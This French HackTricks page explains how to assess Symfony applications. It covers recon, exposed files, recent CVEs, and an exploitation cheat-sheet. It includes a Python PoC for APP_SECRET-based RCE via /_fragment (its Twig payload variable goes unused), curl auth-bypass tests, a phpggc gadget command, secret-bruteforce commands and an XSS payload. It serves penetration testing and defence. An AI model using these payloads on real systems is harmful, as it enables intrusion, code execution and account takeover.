Symfony
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Symfony est l’un des frameworks PHP les plus utilisés et apparaît régulièrement dans les évaluations de cibles d’entreprise, e-commerce et CMS (Drupal, Shopware, Ibexa, OroCRM … intègrent tous des composants Symfony). Cette page rassemble des conseils offensifs, des mauvaises configurations courantes et des vulnérabilités récentes que vous devriez avoir sur votre liste de contrôle lorsque vous découvrez une application Symfony.
Note historique : Une grande partie de l’écosystème fonctionne encore sur la branche 5.4 LTS (fin de vie novembre 2025). Symfony 7.4 est devenu le nouvel LTS en novembre 2025 et recevra des correctifs de sécurité jusqu’en novembre 2029. Vérifiez toujours le niveau de patch exact car de nombreux avis de 2024‑2026 n’ont été corrigés que dans des micro-releases.
Recon & Énumération
Identification
- En-têtes de réponse HTTP :
X-Powered-By: Symfony,X-Debug-Token,X-Debug-Token-Linkou cookies commençant parsf_redirect,sf_session,MOCKSESSID. - Source code leaks (
composer.json,composer.lock,/vendor/…) révèlent souvent la version exacte :
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
- Routes publiques qui n’existent que sur Symfony :
/_profiler(Symfony Profiler & debug toolbar)/_wdt/<token>(“Web Debug Toolbar”)/_error/{code}.{_format}(pretty error pages)/app_dev.php,/config.php,/config_dev.php(pre-4.0 dev front-controllers)- Wappalyzer, BuiltWith ou ffuf/feroxbuster wordlists:
symfony.txt→ recherchez/_fragment,/_profiler,.env,.htaccess.
Fichiers & endpoints intéressants
| Path | Why it matters |
|---|---|
/.env, /.env.local, /.env.prod | Frequently mis-deployed → leaks APP_SECRET, DB creds, SMTP, AWS keys |
/.git, .svn, .hg | Source disclosure → identifiants + logique métier |
/var/log/*.log, /log/dev.log | Mauvaise configuration du web-root expose des stack-traces |
/_profiler | Historique complet des requêtes, configuration, service container, APP_SECRET (≤ 3.4) |
/_fragment | Point d’entrée utilisé par ESI/HInclude. Abus possible une fois que vous connaissez APP_SECRET |
/vendor/phpunit/phpunit/phpunit | PHPUnit RCE si accessible (CVE-2017-9841) |
/index.php/_error/{code} | Empreinte & parfois leak des traces d’exception |
Vulnérabilités à fort impact
1. Divulgation d’APP_SECRET ➜ RCE via /_fragment (aka “secret-fragment”)
- CVE-2019-18889 à l’origine, mais apparaît encore sur des cibles modernes lorsque le debug est laissé activé ou que
.envest exposé. - Une fois que vous connaissez l’
APP_SECRETde 32 caractères, fabriquez un token HMAC et abusez du contrôleur internerender()pour exécuter du Twig arbitraire :
# PoC – requires the secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}" # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
- Excellent write-up & script d’exploitation : blog Ambionics (lié dans les Références).
2. Bypass d’auth via PATH_INFO – CVE-2025-64500 (HttpFoundation)
- Affecte les versions antérieures à 5.4.50, 6.4.29 et 7.3.7. La normalisation du chemin pouvait supprimer le
/initial, cassant les règles d’accès qui supposent/adminetc. - Test rapide :
curl -H 'PATH_INFO: admin/secret' https://target/index.php→ si cela atteint des routes admin sans authentification, vous avez trouvé la faille. - Corrigez en mettant à jour
symfony/http-foundationou le framework complet au niveau de patch corrigé.
3. MSYS2/Git-Bash argument mangling – CVE-2026-24739 (Process)
- Affecte les versions antérieures à 5.4.51, 6.4.33, 7.3.11, 7.4.5 et 8.0.5 sur Windows lorsque PHP est exécuté depuis MSYS2 (Git-Bash, mingw).
Processne quote pas=ce qui conduit à des chemins corrompus ; des commandes destructrices (rmdir,del) peuvent cibler des répertoires non voulus. - Si vous pouvez uploader un script PHP ou influencer Composer/CLI helpers qui appellent
Process, fabriquez des arguments contenant=(ex.E:/=tmp/delete) pour provoquer la réécriture de chemins.
4. Runtime env/argv injection – CVE-2024-50340 (Runtime)
- Quand
register_argv_argc=Onet en utilisant des runtimes non-SAPI, des query strings forgées pouvaient basculerAPP_ENV/APP_DEBUGvia le parsing d’argv. Corrigé en 5.4.46/6.4.14/7.1.7. - Cherchez
/?--env=prodou similaire accepté dans les logs.
5. URL validation / open redirect – CVE-2024-50345 (HttpFoundation)
- Des caractères spéciaux dans l’URI n’étaient pas validés comme les navigateurs le font, permettant des redirections vers des domaines contrôlés par l’attaquant. Corrigé en 5.4.46/6.4.14/7.1.7.
6. Symfony UX attribute injection – CVE-2025-47946
symfony/ux-twig-component&symfony/ux-live-component< 2.25.1 rendent{{ attributes }}sans échappement → injection d’attributs / XSS. Si l’appli permet aux utilisateurs de définir des attributs de composants (CMS admin, templates d’email), vous pouvez enchaîner vers une injection de script.- Mettez à jour les deux packages vers 2.25.1+. En guise d’exploit manuel, placez du JS dans une valeur d’attribut passée à un composant personnalisé et déclenchez le rendu.
7. Windows Process Hijack – CVE-2024-51736 (Process)
- Le composant
Processcherchait le répertoire courant avantPATHsur Windows. Un attaquant pouvant uploadertar.exe,cmd.exe, etc. dans un web-root inscriptible et déclencherProcess(ex. extraction de fichiers, génération PDF) obtient une exécution de commandes. - Corrigé en 5.4.50, 6.4.14, 7.1.7.
8. Session-Fixation – CVE-2023-46733
- L’authentication guard réutilisait un identifiant de session existant après le login. Si un attaquant fixe le cookie avant que la victime ne s’authentifie, il prend le contrôle du compte après la connexion.
9. Twig sandbox XSS – CVE-2023-46734
- Dans les applications exposant des templates contrôlés par l’utilisateur (CMS admin, email builder), le filtre
nl2brpouvait être abusé pour bypasser le sandbox et injecter du JS.
10. Chaînes de gadgets Symfony 1 (toujours trouvées dans des applis legacy)
phpggc symfony/1 system idproduit un payload Phar qui déclenche une RCE lorsqu’un unserialize() est effectué sur des classes telles quesfNamespacedParameterHolder. Vérifiez les endpoints d’upload de fichiers et les wrappersphar://.
PHP - Deserialization + Autoload Classes
Cheat-Sheet d’exploitation
Calculer le token HMAC pour /_fragment
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
Bruteforce d’un APP_SECRET faible
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
RCE via Symfony Console exposée
Si bin/console est accessible via php-fpm ou par upload direct en CLI:
php bin/console about # confirm it works
php bin/console cache:clear --no-warmup
Utilisez deserialization gadgets dans le cache directory ou écrivez un Twig template malveillant qui sera exécuté lors de la prochaine requête.
Tester rapidement le contournement PATH_INFO (CVE-2025-64500)
curl -i -H 'PATH_INFO: admin/secret' https://target/index.php
# If it returns protected content without redirect/auth, the Request normalization is vulnerable.
Injection d’attributs Spray UX (CVE-2025-47946)
{# attacker-controlled attribute value #}
<live:button {{ attributes|merge({'onclick':'alert(1)'}) }} />
Si la sortie rendue affiche l’attribut sans échappement, XSS réussit. Appliquez le correctif vers 2.25.1+.
Notes défensives
- Ne déployez jamais debug (
APP_ENV=dev,APP_DEBUG=1) en production ; bloquez/app_dev.php,/_profiler,/_wdtdans la config du serveur web. - Stockez les secrets dans des variables d’environnement ou
vault/secrets.local.php, jamais dans des fichiers accessibles depuis le document-root. - Mettez en place une gestion des correctifs – abonnez-vous aux avis de sécurité Symfony et maintenez au minimum le niveau de patch LTS (5.4.x jusqu’en nov. 2025, 6.4 jusqu’en nov. 2027, 7.4 jusqu’en nov. 2029).
- Si vous êtes sous Windows, mettez à jour immédiatement pour atténuer CVE-2024-51736 & CVE-2026-24739 ou ajoutez un
open_basedir/disable_functionsen défense en profondeur.
Outils offensifs utiles
- ambionics/symfony-exploits – secret-fragment RCE, découverte des routes du debugger.
- phpggc – Ready-made gadget chains for Symfony 1 & 2.
- sf-encoder – petit utilitaire pour calculer le HMAC
_fragment(implementation Go).
Références
- Ambionics – Symfony “secret-fragment” Remote Code Execution
- Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component
- Symfony Blog – CVE-2025-47946: Unsanitized HTML attribute injection in UX components
- Symfony Blog – CVE-2026-24739: Incorrect argument escaping under MSYS2/Git Bash
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


